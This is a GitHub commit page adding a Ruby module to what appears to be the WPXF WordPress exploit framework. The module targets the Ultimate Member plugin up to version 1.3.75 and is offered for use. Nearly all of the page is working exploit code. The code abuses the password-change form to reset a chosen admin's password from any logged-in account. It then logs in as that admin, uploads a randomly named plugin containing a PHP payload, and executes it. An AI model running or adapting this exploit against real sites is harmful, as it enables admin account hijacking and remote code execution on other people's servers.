Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 838dd55

Browse files
committed
Add Ultimate Member <= 1.3.75 shell upload exploit
1 parent 98744a0 commit 838dd55

File tree

1 file changed

+130
-0
lines changed

1 file changed

+130
-0
lines changed
Lines changed: 130 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,130 @@
1+
class Wpxf::Exploit::UltimateMemberShellUpload < Wpxf::Module
2+
include Wpxf
3+
include Wpxf::Net::HttpClient
4+
include Wpxf::WordPress::Login
5+
include Wpxf::WordPress::Plugin
6+
7+
def initialize
8+
super
9+
10+
update_info(
11+
name: 'Ultimate Member <= 1.3.75 Shell Upload',
12+
desc: 'This module exploits a vulnerability that allows users of any level to change '\
13+
'the password of any user. The module requires you login with an account of any '\
14+
'level, which will then be used to change the specified admin users\' password. '\
15+
'The compromised admin account will then be used to store and execute the payload.',
16+
author: [
17+
'James Golovich', # Discovery and disclosure
18+
'Rob Carr <rob[at]rastating.com>' # WPXF module
19+
],
20+
references: [
21+
['WPVDB', '8688'],
22+
['URL', 'https://ultimatemember.com/security-release-v1-3-76/']
23+
],
24+
date: 'Dec 08 2016'
25+
)
26+
27+
register_options([
28+
StringOption.new(
29+
name: 'password_form_path',
30+
desc: 'The path of the change password form (default is /account/password/)',
31+
required: true
32+
),
33+
IntegerOption.new(
34+
name: 'admin_user_id',
35+
desc: 'The ID of the user to hijack the account of',
36+
required: true
37+
),
38+
StringOption.new(
39+
name: 'admin_username',
40+
desc: 'The username of the admin user to hijack the account of',
41+
required: true
42+
)
43+
])
44+
end
45+
46+
def check
47+
check_plugin_version_from_readme('ultimate-member', '1.3.76')
48+
end
49+
50+
def requires_authentication
51+
true
52+
end
53+
54+
def password_form_url
55+
normalize_uri(full_uri, datastore['password_form_path'])
56+
end
57+
58+
def admin_user_id
59+
normalized_option_value('admin_user_id')
60+
end
61+
62+
def admin_username
63+
normalized_option_value('admin_username')
64+
end
65+
66+
def new_password
67+
@new_password || @new_password = Utility::Text.rand_alphanumeric(3) +
68+
Utility::Text.rand_alpha(1, :lower) +
69+
Utility::Text.rand_numeric(2) +
70+
Utility::Text.rand_alpha(1, :upper) +
71+
Utility::Text.rand_alphanumeric(3)
72+
end
73+
74+
def execute_password_change
75+
execute_post_request(
76+
url: password_form_url,
77+
cookie: session_cookie,
78+
body: {
79+
'_um_password_change' => '1',
80+
'timestamp' => Utility::Text.rand_numeric(3),
81+
'user_password' => new_password,
82+
'confirm_user_password' => new_password,
83+
'user_id' => admin_user_id
84+
}
85+
)
86+
end
87+
88+
def before_upload
89+
emit_info "Changing password for #{admin_username} to #{new_password}"
90+
res = execute_password_change
91+
92+
unless res.code == 302
93+
emit_error "Password change returned status #{res.code}", true
94+
emit_error "Failed to change the password for #{admin_username}"
95+
return false
96+
end
97+
98+
@admin_cookie = authenticate_with_wordpress(admin_username, @new_password)
99+
return true if @admin_cookie
100+
false
101+
end
102+
103+
def upload_payload
104+
plugin_name = Utility::Text.rand_alpha(10)
105+
payload_name = Utility::Text.rand_alpha(10)
106+
@payload_url = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
107+
return true if wordpress_upload_payload_plugin(plugin_name, payload_name, @admin_cookie)
108+
109+
emit_error 'Failed to upload the payload'
110+
false
111+
end
112+
113+
def execute_payload
114+
res = execute_get_request(url: @payload_url)
115+
emit_success "Result: #{res.body}" if res && res.code == 200 && !res.body.strip.empty?
116+
end
117+
118+
def run
119+
return false unless super
120+
return false unless before_upload
121+
122+
emit_info 'Uploading payload...'
123+
upload_payload
124+
125+
emit_info "Executing the payload at #{@payload_url}..."
126+
execute_payload
127+
128+
true
129+
end
130+
end

0 commit comments

Comments
 (0)